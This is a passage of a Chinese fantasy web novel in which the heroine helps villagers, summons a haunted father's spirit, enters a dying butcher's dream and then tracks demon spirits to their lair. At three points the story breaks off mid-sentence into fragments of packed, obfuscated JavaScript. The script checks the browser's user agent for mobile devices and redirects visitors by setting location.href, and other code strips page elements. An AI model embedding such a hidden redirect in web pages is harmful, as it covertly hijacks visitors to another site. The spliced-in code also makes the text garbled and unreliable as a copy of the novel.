妇人急道:“要的要的,您救了他,就是他的再生父母。不过是磕头而已,您受得起!” 妄一拗不过他们,便只好接受了。 “孩子其实没有大碍,但年幼之人,若出远门,脖子上最好挂点辟邪之物。”妄一把他们扶起。 “哎,我晓得的,是我这次走得急,忘了祖辈的老规矩,险些害了他呀。”妇人感激道,“我就这一个宝,他要是有个三长两短,我不如也......算了,不说了,孩子刚好,我再讲又要把晦气招来了。早上出了这破事,现在我也没心思回娘家了。姑娘远道而来,要不去咱家吃顿便饭吧。” 妄一正有要去怀池村的念头,欣然答应邀请。 那妇人被同村的叫作“刘姐”,是从外边嫁进来的。家中公婆尚在,丈夫却英年早逝。 妄一跟着她往村里走,脚下只有一条窄窄的黄土路,天晴还好,下雨怕是泥泞难行。村中住户稀疏,搭建的也大多是茅草木屋,青壮年几乎都外出务工了,留下的多是老人和孩子,显得有些萧条。 刘姐原来也要外出去大户人家做帮工,但前脚谈好的事,后脚知道她是怀池村来的,当即就变了卦,把她拒了。 究其原因,是雇主担心穷山沟出来的人,到了凤凰窝会行偷窃之事。 碰了钉子后,刘姐就免了出去心思,想想着先守着公婆和娃,以后再从长计议吧。 妄一背手和她同行,一直走到村口,有个胖乎乎的女人端着洗衣盆从外头回来,盆沿还滴着水。 她笑呵呵地打招呼:“刘姐,你不是要去趟娘家吗?这么早就回来了呀。” “没有,路上碰到点事,今天先不去了。再说公婆也出去走亲戚了,家里鸡鸭还等着喂呢。倒是王婶子你勤快得紧啊,大冬天的还去河塘洗衣。”刘姐笑道。 “嗨呀,我也是一家老小等着穿呢,水再冷也没得法子。”王婶揣着木盆,走近打量妄一一眼,腾出手把刘姐拉到旁边,问这个千金小姐是谁?怎么跟着一起来了? 妄一耳朵灵光,自然听见了这话。她瞧了眼身上衣着,已是刻意选的素色布衣,但在他们眼里,仍算富贵人家打扮。 刘姐素与王婶交好,而且人也没给她少看孩子,所以便将路上的事和她说了一遍。等王婶回过头再去看妄一时,脸上多了好些敬佩。 “王婶子,我改天再和你说啊,今天家里来了贵客,忙着招待呢!” 刘姐笑着告别,而后带妄一穿过狭窄的弄堂,往自家走去。村里的房屋大多简陋,只有一家盖上了瓦房。一路还有几个老人坐一起晒太阳,扒拉饭碗。 刘姐的家在村子深处,她把家打理得井井有条,泥巴院子划拉出几片区域,这里种点蔬菜,那里养点家禽。她的公婆也是出了名的勤快,趁着还有力气,常常天没亮就去地里忙活。 家里小屋冷飕飕的,普通人家点不起炭火,刘姐让妄一进去后,转身去烧些暖手的热水。 妄一忙说不用了,刘姐却坚持这么做。 “来了就是客,要是随便招待,我公婆晓得了也要怪我。”刘姐家里过得捉襟见肘,但在这事上绝不敷衍。再说人家姑娘救了她孩子,她狠下心,立刻把院子里的鸡杀了一只。 妄一本想小待一会儿就走,奈何刘姐手脚利索。她转了一圈,刘姐就把午饭都打点好了。无法,她只得坐下领情。 桌上,刘姐将鸡翅鸡腿夹到妄一碗里,说道:“姑娘别嫌弃咱这儿破旧,这些年,村里人走的走,逃的逃,住着的只剩几十户人家,但都和睦相处,没起过大冲突。” “这我看的出来,村里确实村民风淳朴。”妄一把碗里的肉食顺手划到小孩那里。 刘姐想阻拦,妄一又说:“萍水相逢,我不过是举手之劳,不用放在心里。” 刘姐见其坚持,只好劝妄一再多吃一点。 这个妇人没有文化,操的也是一口浓厚的乡音,但秉性里却有极为珍贵的东西。 “刘姐,实不相瞒,我来怀池村是为打听一人。”看时候差不多了,妄一便停下筷,准备说出远行目的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963693|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刘姐正在给孩子擦嘴角的饭粒,随手喂进自己嘴里,说道:“姑娘尽管问就是,我知道的都能说给你听。” 妄一开门见山道:“刘姐,我就是想问几个月前......村中是否来过一富家子弟?” 会走到村里的人本来就少,即使没点明“富家子弟”的身份,光看那生面孔,大家也都有印象。 可是刘姐不答反问:“姑娘,他是你什么人?” 妄一顿了顿,接话道:“我和他算有几分渊源,想亲眼见一面,苦于找不到人,听说他曾来过这儿,便一路追寻。” 她心底暗暗雀跃,原来凌延卿真的来过怀池村,而不是在桥头平白无故地干躺着。 刘姐却像听见一件有意思的事,渊源是什么渊源?她有想法但也不说破,只乐道:“原来是这样啊,你说的那个他呀,其实不必问我,光是在村里随便抓个人都能说得上来呢。” “此话怎讲?”妄一可不信是因其穿着打扮不俗,而被村民铭记于心。 “我可没瞎说,那天正逢小雨,我们都窝在家里,奇怪的是他一来,天就意外放晴。”刘姐眉飞色舞道,“他路过这里讨碗水喝,但不白喝,放下碗的时候,连同一枚金豆子一起放桌上了,好生大方嘞!” “给他水喝的董家人笑开了花,后面又追问他饿不饿,要不要吃馍馍?可他很冷漠,喝了水就离开了,那背影清瘦萧条的,我瞧着他不是含金钥匙出生,估计活不到现在。” 妄一笃定此人就是凌延卿,立刻忙问:“那他后来去了何处?!” 刘姐遗憾道:“他喝完水就径直出村了,咱也没留意他去了哪,估计是回家了。就这偏僻破旧的小地方,外人没事不会久留。” 妄一觉得有道理,既然刘姐不知他之后的去向,那她去附近转转。运气好,可能还会找见凌延卿那么一丝气息。 吃过饭,刘姐去收拾碗筷。她儿子虽还年幼,但生在这样的家里已经非常懂事了,没等母亲开口,他就卷起袖子将剩菜都搬进偏屋储藏起来。 刘家的房子不大,寒冬腊月,母子俩晚上就挤在正屋的一张炕上,上面放了好几层的薄被,也不知是盖的还是垫的。 妄一凝视良久,摸了摸身上,不出意料翻遍全身也翻不出一个铜板来,于是摘了腰带上的琉璃坠,放在炕上显眼的地方。 这坠子是用上好的琉璃打磨而成,通透莹润,随便转手就能卖个好价钱。 此举虽不能保证这户人家日后衣食无忧,但足以解决燃眉之急,助他们安好度过冬天。 这番动作落入那孩子的眼里,妄一把手指贴在唇上,示意他不必声张,而后又拿出一瓶药粉。 刘姐生有冻疮,手背臃肿不堪,这药粉是那晚给锦阕仙子消肿用剩的,对于外创都有奇效。 做完这些,她就打算走了,可屋外传来一阵急促的脚步声,有个村妇朝着屋子大喊:“刘大姐,你快告诉我,那个仙姑呢?那个救了你娃子的仙姑在哪儿啊?!” 25. 薛家遭难不安生 来人是薛屠夫的媳妇“薛赵氏”,她两颊通红,气喘吁吁,没等完整地吸一口气,就拉着刘姐找口中的“仙姑”。 妄一不疾不徐地走出屋门。 “大妹子这是干啥?”刘姐有些为难,猜想是王婶大嘴巴,村口一别后,转头就把这姑娘救了她儿子的事,跟人说了个遍。 “刘大姐,莫怪我赶来,你知道我家那摊子事.......我是真没办法了呀!”薛赵氏含着眼泪,难掩激动。 “妹子你先急着哭,能帮你的也不是我。”刘姐无奈地回头看了眼。 正是这一眼,薛赵氏注意到站在门边的妄一,她当即调转方向,以头抢地之势,冲过去抱住其腰腿,喊道:“仙姑啊仙姑,救命啊!救救我男人啊!” 不知她哪儿来的神力,妄一挣脱两下,竟然逃脱不得。 刘姐赶忙上前将她拉开,责怪道:“妹子,你急糊涂了啊,要吓着人姑娘吗?!” 薛赵氏这才意识到自己举动太过出格,忙自打两下巴掌,赔罪道:“仙姑莫怪,仙姑莫怪!我走投无路了才寻过来,您如果不帮我,我就真莫辙了!” 妄一抿着唇,不为所动。她救刘姐的儿子只是因缘巧合,而自己尚有要事在身,时间宝贵。辟邪驱鬼这类事,理应交给凡间专门的行当去做。 她正要让薛赵氏另请高明,但见其神色哀切,那张本就蜡黄的脸更透几分憔悴与不堪。 妄一稍作犹豫,薛赵氏再次哭道:“望仙姑发发善心!我真怕他抛下我,腿一伸就去了,让我一个寡妇怎么活哟!” 同为已婚的妇人,刘姐也被她的话引出泪水,转过身擦了好几回,但因帮不上忙,只能在心里默默祈祷。 薛赵氏跪下,说若能换男人平安,她愿牺牲一切。 这般真诚,实乃平生少见。 妄一终是轻叹一声:“算了,你起来把事情的来龙去脉说一遍与我听听吧。” “谢谢,谢谢您啊,仙姑!”麻烦还未解决,薛赵氏便感激涕零。 刘姐也为其高兴,把人请进屋,倒好水,让她慢慢说,说仔细点! 热水下肚,薛赵氏那张蜡黄的脸儿终于恢复点神采。 薛家从前是村里的农户,后来薛屠夫学好刀工,便到镇上挂卖猪肉。夫妻俩形影不离,夫妻俩向来形影不离,丈夫在镇上营生,薛赵氏自然也陪着一同前往。二人成亲一年,尚未有喜。家中唯留下薛老爹,不过在几个月前过世了。 薛老爹走得匆忙,突发疾病说没就没。薛屠夫那时刚抢下一笔大单,要去外地走一趟,没法回去戴孝,只能托妻子操办老爹后事。 “我知道......我知道一定是阿公不高兴了!所以显灵要我男人不痛快!”薛赵氏后悔道。 薛屠夫不在,薛老爹的后事便也没有大操大办。薛赵氏忙完这一切,就在家里守着,等丈夫回来祭拜过,再一起回镇上。 可这笔生意比预想中拖延得更久,薛屠夫错过老爹的丧葬不够,还多耽搁了五日。把账收齐,他才踏实地回老家去。 老爹没了,牵挂断了。这一趟,恐怕也是薛屠夫最后一次回怀池村了。 他心里想得美滋滋,只觉得满眼都是好风景,就连通往村庄的泥巴路也是。只不过原来走得好好的,不晓得什么时候起了阵大雾,眼前的一切变得混沌不分。 他又走一段,从前熟悉的道路似乎分了岔,他一不小心闯进陌生的山沟里。 这里的雾气散了些,可见度提高了。山沟静幽,薛屠夫在枯败的杂草丛中穿梭许久,瞧见前方有个小房子。 这房子谁造得?尖尖的顶,矮矮的墙,正面窄门立中央,左右两边不见窗。别说是住人了,远远瞧见都觉得压抑。 薛屠夫按捺不住好奇心,张口朝房子喊了几声,还伸长脖听里边的动静。一颗心正紧张着,有人突然拍了拍他。 薛屠夫哆嗦着扭过头,身后之人竟是自己老爹!他一身破烂衣裳,险些让儿子误认为是叫花子。 “爹,你病好了啊?你在这儿干啥?还穿成这样,吓我一跳!”薛屠夫又惊又疑,“对了,我婆娘呢?她回家好几天了,没给你收拾收拾吗?” 薛老爹眼神直勾勾地看着儿子,一句不答,直到后来双手作捧,问薛屠夫讨要东西。 薛屠夫以为是爹饿了,赶忙拿出身上的肉包子救急。没想到他爹不肯接,手也没放下来,后来直接去扯他背上的包裹,东翻翻西翻翻,毫不客气地拿走里面的银两。 薛屠夫急眼了,这笔钱在他身上没放多久,本准备再租一间新铺面的,哪能给老爹抢去? 可没等他夺过来,薛老爹就给儿子一记窝心推,力气大得摔人一个屁股蹲,薛屠夫昏死过去。 等醒来之时,天色已经不早了。 什么山沟,什么房子,通通不见了!他又规矩地回到那条起雾的大路上,好像一切都没发生。 薛屠夫一慌,急忙翻找包袱。 好好好!看来唯一真实的就是他那银子真的不见了! 薛赵氏说起这段遭遇,脸色愈发难看,又问刘姐讨了杯水,咕嘟咕嘟一饮而尽。 “阿公死了,还是我亲眼看着埋的,怎么可能会站着要钱?再说这是阳间的东西,死人怎么拿去花啊?!”薛赵氏擦了擦额上冷汗,她也曾想过丈夫是不是拿了钱,偷偷去外面潇洒了?可一想,薛屠夫现在躺在坑上喊“救命”呢,不像是装的。 “自从经历这回事,他整夜整夜睡不着觉,总感觉眼睛一闭,能看见亲爹站在跟前抹眼泪。”想到这诡异的画面,薛赵氏不由害怕,“要我说都怪他贪心,为了那点臭钱,没送爹最后一程,现在被记恨上了,咱家可别想好了!” 刘姐插话道:“妹子可别这么想,他在外面累死累活,都是为了小家呀。” “我晓得的,我晓得的......”薛赵氏低声道,“他被阿公缠上,我们去过坟前真心实意地道歉,还烧了不少纸钱,都不管用啊,该折腾的还得折腾。” 妄一忽然开口:“他梦里有说什么话吗?” “不说,什么都不说。阿公在世时就话少,死了反而更像哑巴了.......”薛赵氏猜测道,“仙姑,难道他这样是有心愿未了吗?像有什么地方没交代清楚,比如生前藏下来的私房钱之类的......” “想多了。”妄一掐断她那点念头,“如果他是因为钱财方面没交代好,他一开始根本不会通身破烂的朝你丈夫要东西了。” 薛赵氏捏了捏衣摆,讪讪闭了嘴。阿公去世,她把家里三间房好好理了一遍,柜子桌子也挪开检查,并没发现意外之喜。 刘姐同情薛赵氏,帮她问了句:“姑娘,那你看他们家这事能解决不?” “不好说。”妄一理智回答,“但世事皆有成因,想必你阿公心有所求才会阴灵相缠。” “那要怎么办?”薛赵氏急切道。 “别着急,你们问不出的,由我来问便是。”妄一眸光清亮地看向薛赵氏,“你先回去吧,入夜时分在家门口等我过来。” “好好好,我这就回去等!”薛赵氏激动道,“仙姑如果能摆平,我们定感谢你大恩大德!” 她满怀希望地离开刘姐家,出来有一阵子,心里还牵挂着丈夫。 妄一还没忘自己是为凌延卿的事而来,这是她顺手助人的前提,不能因旁人的事打乱自己的步调。 和刘姐告辞后,妄一便在怀池村附近闲逛。大白天的找亡魂,几率渺茫。她挑了个安静地方坐下,只待夕阳下沉。 人对生前最后一个主动去往的地方,多少会留下一丝残息。但因间隔时间有几月之久,妄一也只是抱有侥幸的心理。 唉,找人不易,找鬼更不易。 十二月的天,黑得也快。 借着微弱的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963694|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,她谨慎地将一块青缎手帕平摊在地。这是凌延卿的遗物,他常年抱恙,手帕不离。若说感情,除了那位姨母,就剩这块帕子跟他最亲近。而在这之上,妄一写下咒文“流息”。一经生效,附近只要是跟手帕有关的气息,纵使微弱无比,都会被牵引过来。 将物品放置好,她身姿挺拔如松,安心等待结果。 周遭时时略过清风,吹打她的衣角,抚过她的发梢。在她周边,晃动的野草亦发出“沙沙”之音。 可惜,这都不是她要等的东西。 青缎手帕仿佛被钉在原地,妄一看它给不出结果,便知自己天真了。 凌延卿怕是凶多吉少了,这么大个魂儿,哪哪都不在,难道他真的灰飞烟灭了? 夜里的风肆无忌惮地刮着,吹得树枝在半空狂舞。怀池村的房子几乎都黑了,放眼望去,只有一户人家还点着灯,并半开着门,用一把椅子挡着,不让它被风吹关上。 薛赵氏披了件棉衣,守在门口一边张望,一边暗骂这鬼天气傍晚还没情况,天黑了倒作妖。仙姑是说入夜过来吧?可这都什么时辰了,怎还不现身?饭也给做进去了,都在灶上热了一回又一回。 她焦心地望着外面,时不时还要关注炕上的动静。如此左顾右盼不知过了多少时间,终于看见有道暗影往薛家而来。 薛赵氏面露欣喜,转身捧了烛火去迎,刚想跨出屋门,就与妄一对上了。 “仙......仙姑,你可算来了!”她声音激动,让开道,请人进来,“我这盼星星盼月亮的,你来了就好,你来了就好!”真奇怪,这姑娘分明才十来岁的年纪,模样青涩,可薛赵氏对她却有着无与伦比的信任。 妄一平静道:“我答应过会来,自然会来。” 虽寻凌延卿无果,郁闷之下,她大脑一闪而过“撤离”的念头,但终究没有失约,忍着心头的烦乱,如约找到薛家。 炕上的薛屠夫躺得小脸虚白,两颊凹陷,隔段时间发出一阵虚弱的低吟。从那天回家,他就没睡过安稳觉,人都轻了二三十斤。若不是眼睛还能跟着人转动,不然都以为成了干尸。 薛赵氏替男人擦了擦脸,端着稀粥要喂他。薛屠夫费力地摇摇头,不肯吃,惹得妻子一阵心疼。 “冤家,你多少吃两口,我请了仙姑来,你马上就有救了!” 许是“仙姑”二字起了作用,抵在嘴前的调羹终于被他微微张开嘴,浅浅饮了下去。薛赵氏动作轻柔仔细,虽然至多三下,丈夫再次闭口了。 还能吃得下食物,总归是好的。薛赵氏欣慰落泪,想到仙姑站在身后,她忙转头道:“仙姑,您也还没吃饭吧?我锅里热着吃的,您等我.....” “不用了。”妄一打断了她的话,看着昏迷的薛屠夫,“你们的事恐怕耽误不得了。”这男人几乎就吊着一口气了。 来之前,她以为这人至多和刘姐儿子一样,被脏东西摸了,但瞧他的样子,严重多了。 依他妻子所言,他生病是因老爹而起。 因生前没见到最后一眼,所以死了想托梦看看也无可厚非,但三番五次打扰就是薛老爹不对了,而且更重要的是,看守的阴差不知道吗? 不对,妄一兀自摇了下头。 地府基于“生死有别论”的原则,不管多大的牵绊,一朝轮回结束,亡魂就要和阳间暂断关系。但他们也有人情味的地方,起码会给亡魂七天时间和阳间道别。头七一过,大善大恶者会有使者引渡,无功无过者则需自入黄泉。假若过期不从,就算没被灼热的日辉烧死,今后也会被上来走动的阴差,举哭丧棒招呼。 薛老爹一次两次是为解思念,阴差知道了会睁只眼闭只眼,但次数频繁还不罢休的,阴差可能不是不管,而是...... 时间慢慢流逝,薛赵氏不敢贸然打扰仙姑,不知道还要沉默多久,妄一突然抬头,眼睛雪亮道:“我要招魂!” 26. 招魂入梦知缘由 薛赵氏一介农妇,不会“招魂”之事,也当理解“招魂”二字。 “仙姑的意思是要把我阿公招来?!”薛赵氏吃了一惊,死者为大,哪是能招就招的?但想到这一切都是为了丈夫,她又坚定道:“您说吧,要我怎么做?我都听仙姑的。” “你什么都不用做。”妄一淡淡回应,转身钻进灶间。 她提“招魂”只为告知,而非请求。当然了,如果薛赵氏不肯,那她省些力气,直接回家好了。 妄一从灶间取来碗碟,捉住薛屠夫一根指头,“刺啦”一划,鲜血落在碟中。 薛赵氏的心提到嗓子眼,男人已经虚弱成这样了,怎能再用他的血?于是将自己手指伸过去,道:“仙姑要人血,你说一声就成,用我的吧,我多得是!” 妄一置若罔闻,挤完十滴才放下松手,由于营养不良,碟子里的血比正常人的颜色要浅。 “你就在此地守着他,我去外面,你不必跟来。”妄一端起碗碟,语气不容置疑。在妇人惊异的目光中,她坦然走出屋门。 薛家院落较为宽敞,屋后还养了两头猪,是薛老爹在世时买来的猪苗,本想养肥了帮衬儿子,没想到几个月后自己先撒手人寰了。 院子里,冷风萧瑟。 妄一抽出随身的伏影锁,在地上自然围成一个圈,随后沾了碗中血,在中心画了个简易的人样。 她在人间不便动用法术,便借锁链的凶气另辟蹊径。如果能把薛老爹招来,那么她也好借这血绘的“人”说话。 微弱的油灯将妄一笼罩,任凭阴风掀起衣袂,她面色如常。 如她所想,伏影锁暂替招魂的法器,片刻过后,中心位置的人形有了细微的变化。 万物静幽,那个“人”在地上缓缓伸展起四肢。它动作困难,却不连断。 妄一仔细盯着它,原以为会说什么话,又或者有什么表示。可在一声乌啼过后,人形突然变得扭曲,那些线条拆分开来,绕成一团乱麻。 耳边的冷风停息,伏影锁却开始狂舞,卷起大片沙土。妄一反手揪住它的尾巴,强硬地将它收回。 等院子里风声安定,薛赵氏斗胆跑出来看,只见自家场地柴禾散乱,被折腾得乱七八糟。她来不及询问仙姑发生了什么,先去屋后查看,见两头猪都钻进稻草窟里避着,这才放下心来。 空气中飘有淡淡的一股腥味,说不清是否因那十滴血而起。 “仙姑......”薛赵氏小声地呼唤,“仙姑,我阿公来了吗?他怎么说?” 妄一仰头看向天上密不透光的乌云,脸色冷峻道:“要让你失望了,他......恐怕被人挟持了。” “啊?谁?是谁干的?!”薛赵氏心一慌,看到仙姑神态严肃,她便预感老薛家完了! 她伤心地擦了两把泪,妄一无暇顾及她,只觉得怀池村真是个有意思的地方。 “走吧。”妄一道,“我要入梦试试。” 薛赵氏擦泪的手停在半空,妄一不等她,边走边道:“再不快点,屋里的那位真没时间了。” 这句话赛过一万句安慰!薛赵氏连忙跟来。 薛屠夫依旧病歪歪地躺着,身上盖的是二人成亲用的大花被,颜色鲜艳,衬得他血气更弱了。可无论何时,只要妻子轻轻唤他,他总能给出细微的回应。 看得出来,薛屠夫在强撑睡意不肯入眠,怕自己一睡着,又梦到死鬼老爹凄苦着脸,向他讨东西的场面。 因一时找不到合适的红线,妄一便暂用自己的红发绳代替。她将一端系在薛屠夫的手腕,另一端则绑在油灯上。刚系好,原本明亮的灯火立刻微弱下去。 她用在油灯上涂写什么,然后走到薛屠夫面前,使了两指给他点了睡穴,强硬地助他入眠。 很快,男人响起了春雷似的鼾声。 “我稍后随他一同入梦,你且帮我看好灯火。记住,一定要看好,即便困了,你也得熬住,稍有闪失,我能全身而退,但他就难说了。” 妄一讲得格外严肃认真,薛赵氏被吓得一愣一愣的,当即点头应下,何况这都快下半夜了,折腾了这么久,她哪还能安稳睡着? 事情安排好,妄一便坐在椅子上,闭目养神。 方才她在灯盏上写下“引梦”,能助她进入普通人的梦境。好是好用,可惜一经发动,多少要折损自身精气。 她本可以用“回天乏术”的话浇灭薛家的希望,但现在,她算和某些东西杠上了。 薛老爹过不来,妄一就主动过去,她倒要看看,是何人跟她叫板。 冥想片刻,思绪渐渐放空,引梦咒文发挥作用,牵引妄一走进梦境。 她在大片的黑暗中,用意念找出一条会发光的红绳,顺着线路往前走,直到通往明亮之处。 刺目的光挤进人的眼睛,待适应后,她看到了面前的山沟,这就是薛屠夫噩梦的起点。 滔天大雾扑面袭来,方圆一丈外,是人是鬼皆分不清。她只能提高警惕,在混沌中寻找梦境主人。 红线细长,引着妄一走到朗朗白日下,顺着它的尽头,便是薛屠夫的所在之处。 山间的路七高八低,妄一找过去的时候,这个男人正跪在地上两泪汪汪。 此时的他恢复了从前健硕的身材,再不是炕上那副骨瘦如柴的样儿。 “爹啊!我和婆娘在上面过得好好的,您在下面孤单寂寞,我给您多烧几个纸人就是了。儿还年轻,老薛家的种也没留一个,您别老惦记儿子的命啊!”薛屠夫对着前方一团浓雾,喋喋不休,“爹,我求求您为我们考虑,歉也道了,诚心也尽了,您有什么不满意的直说,别这样折腾我呀!” 迷雾中的薛老爹完全听不进儿子说的话,他表情焦急,手脚飞舞,渴望让对方领悟他的意思。但薛屠夫一介莽夫,只以为老爹张牙舞爪地在吓唬他。 两人虽是亲生父子,但一点儿默契都无。 当妄一踏步走进他们视野,薛屠夫还以为又多了个索命鬼,待看清是锦衣仙姑,忙抱紧她的腿,哀叫:“仙姑,救救我啊,我爹想搞死人啊!” 妄一挣了两下没挣开,心道这俩夫妻还挺像,有事求人都喜欢抱人家腿,于是没好气地警告他:“再不松手,我现在就让你跟着你爹走。” 此话着实有用,薛屠夫听了,闪电似的收回手,哀求着仙姑不要怪罪,千万要救他小命! 妄一并未搭理,锐利的目光直接扫向薛老爹。 这下薛老爹的四肢更忙不过来了,手舞足蹈的,仿佛更着急了。 “仙姑,您说我爹什么意思?每次他都不说话,就这样扭着姿势给我看,我也不晓得他想说啥啊。”薛屠夫挠挠头。 山野间都被大雾笼罩,薛老爹站在离他们不足一丈的距离,通过身形和衣着,薛屠夫才敢确认是自己亲爹。 既有雾气遮眼,妄一便猛吸一口气,轻轻朝对面吹去。 眼前的雾顿如纱帘,往左右两边撤开,暴露了薛老爹那张乌青烂熟的脸。 薛屠夫惊得忘了害怕,失声吼道:“爹!您脸.......这脸是咋整的?!” 薛老爹深深叹了口气,掩了掩青紫的脸,没有言语。 这让为人之子的薛屠夫如何忍得?他是老爹一手拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这意思比较浅显,妄一看得懂,大概在说他被别的东西压迫了,才托梦问儿子要钱,而且他身上的伤也是拜他们所赐。 “有人欺压你?他们的地盘离村庄远吗?” 薛老爹摇摇头,随即平躺在地上装出一副安息的样子。 “你说他们就在你坟地附近?” 薛老爹连连点头,甚至激动地鼓起掌来。 线索渐渐清晰,妄一多加琢磨,或许可以延伸出其他。想继续问下去,薛老爹却突然被人套了绳索,快速地往树林深处拖去。他张大嘴想向他们求救,可什么声音也没留下,只有嘴里冒出来的鲜血,流了长长一路。 薛屠夫想冲过去抓住他爹,可是他们之间有一堵无法逾越的墙壁,加之绳索移动速度太快了,没等近前,老爹就已经被卷走了。 “爹!爹啊!”薛屠夫疯了似的冲过去,却被一道无形的墙壁挡住。他颓败地跪在地上,猛捶地面。 “没有用的,他们有备而来,已经发现了你老爹的所作所为。”妄一冷静道,“大致的线索,他能说的都说了。当下先回到现实,回去后,才好找那帮东西算这笔账。” 薛屠夫苦笑一下,第一次感觉得自己如此无力。面对鬼神之事,只能将希望寄托在这个年轻的仙姑身上。一想到亲爹死后受人欺凌,他发誓回去后要养好身体,找到那东西的巢穴,收拾一顿,给老薛家报仇。 但眼下有难题摆在他们面前。 “仙姑,那啥,入梦容易,但咱们怎么回去?” “是啊,怎么回去呢?”妄一瞥他一眼,眼神闪过一丝恍惚,突然疑惑地指向薛屠夫身后,惊呼道:“奇怪,你爹怎么又回来了?” 薛屠夫听见他爹又来了,高兴地回过头去看,可四周除了重新漫过来的大雾,什么都没有了。他正要转头询问,就见一个硕大的拳头朝自己左眼砸来。 “啊!!!”薛屠夫惊从床上坐起,一双凹陷的眼睛睁得滚圆。 油灯上霎时熄灭,妄一亦轻轻睁开双眼。 27. 翻山越岭寻妖府 “冤家啊,你终于醒了,可叫我好等啊!”薛赵氏扑向丈夫,语声里满是委屈。 薛屠夫身子尚且虚弱,被婆娘一扑一压,差点又喘不过气,幸好妄一抬手阻拦了下,说:“暂时不急叙话,先将锅里的东西拿来给他填肚要紧。” 被仙姑这么一提醒,薛赵氏亦恍然道:“瞧我这脑子!”她看到丈夫醒来后的精神比前头振作许多,一时高兴竟顾不上其他。 薛屠夫早就饿了,腹中饥饿难耐,等不及婆娘把温热的食物拿来,瞥见桌上搁着现成的一碗,不顾冰冷,当即就要气吞山河。 “你个冤家对头!就那么会儿了都忍不了!”薛赵氏奔来夺下,板起脸却舍不得再凶他,温柔递去刚从锅里盛来的粥水,“快喝吧,不烫的。” 薛屠夫深受感动,生病这段期间,薛赵氏的不离不弃,他都看在眼里。 两人你看看我,我看看你,虽说成亲已有一年,此时仍像新婚燕尔,情意缱绻。 妄一咳嗽一声,打断他们眼神间的浓情蜜意。她让薛屠夫安心吃东西,自己则把薛赵氏拉到另一个房间谈话。 屋内只有她们二人,薛赵氏想到丈夫的好转,全因仙姑出手相助,她想屈膝跪下,以此感谢救命之恩。 妄一虚扶一下,说:“你先别急着谢我,这件事我还没办妥。” “啊?还没好吗?”薛赵氏提心吊胆道,“仙姑,是不是我阿公还死缠着不放?” “不是,这也不能怪他,他是走投无路才多次叨扰。”梦境里,薛老爹的惨样历历在目,妄一自问性情算不上多正义,但此事一经接手,加之那贼人的猖狂模样,她也不肯白受气。 薛赵氏对仙姑自是感激,心道这位仙姑看着年轻,心中却存着大义,真是个难得的修行者。 第二天,妄一还给薛家的两扇木门贴了一道符,以作简单的镇宅之用。不知对方道行有多高深,在没完全剿灭贼人前,他们若来报复,这张符多少能抵挡一二。 晨间的阳光照进里屋,薛屠夫半夜吃过东西后,又睡了个安稳觉。再次醒来,身体虽还虚着,却也睁眼吃了一碗面条。 男人食欲好了,薛赵氏也高兴,她把仙姑从头到脚,里里外外好一顿夸,传得整个怀池村都知晓了,于是大伙都对这个年轻姑娘予以敬重。 妄一站在门口,有人路过都一口一个“大师”亲切叫她。更有甚者寻到薛家来,讨要那张镇宅符。 妄一微笑面对,不作回应。这并非是她小气,镇宅符对她来说,不是多贵重的东西。归根结底是莲烨掌门来到凡间,随身符纸数量有限,给了一户,其他户也会跟着来要。 薛赵氏眼睛活络,伺候完男人吃饭,出来瞧左邻右舍把仙姑围个严实就来气,仙姑昨晚救人费了好些力气,现在哪有精力再应付他们,于是挥挥手把大伙都驱散了。 告别村庄后,妄一独自踏上旅程,朝山间深处走去。 附近的村民极其看重家族的下葬风俗,尤其在挑选墓地上,长者的入土关系到后辈的气运,最是马虎不得。 但俗话又说“一个萝卜一个坑”,如果下葬之人命格不合,就算硬将他葬进风水宝地,也怕经不起墓地的通天贵气,这不仅对死者不利,还要给后代带来不幸。 依据薛赵氏给的方向,妄一很快找到她阿公的墓。 薛老爹去世不久,他的墓在这一带还算新的。别处几座旧坟就不一样了,坟包经过风雨洗礼,加上子孙怠于打理,塌陷的塌陷,长野草的长野草。 薛老爹说贼人的巢穴离他安息地不远,她静下心仔细来找找便是。 放眼望去,附近都是山头。瞎逛游一会儿,她闯进别的山沟。 这里杂草横生,树上只挂了一半叶子。妄一眉头一皱,这不是薛屠夫梦里出现的地方吗?但因少了大雾,那份神秘感也随之退去。 身处旷野,人的听觉尤为灵敏。她断断续续听到一阵谈笑,赶忙跃上树干躲藏。 有两抹身影往这儿走来,近了方知是两个女子。她们挽着手臂,穿着草鞋,身披单衣,缓步穿梭在冬日里。 右边那位看上去与常人并无二致,但左边那个瘦小女子,动作和人一样,头上一对鹿角还是出卖了她。 “姐姐,洞府里的日子可把我憋坏了。要不是任务在身,否则还不晓得什么时候能出来呢。”鹿精兴高采烈,地下的空气可没外面的新鲜。 “你呀年纪小,玩心重。虽然咱们好不容易出来一次,但我提醒你啊,一定要小心办事,注意分寸,而且这件事办的好了,大王一高兴,说不定就助你把人形修好。”刺猬精轻轻点了点鹿妹妹头上的角。 鹿精腼腆一笑,说:“我还是很喜欢我这样子,可可爱爱的,多少人羡慕我这对鹿角呢。” 刺猬精嬉笑道:“你这对鹿角好是好,那待会儿咱们提不走花篮,可否借你的角挑一挑?” “姐姐真是!爱拿我取笑!”鹿精哈了口气,搓搓手要去挠她。 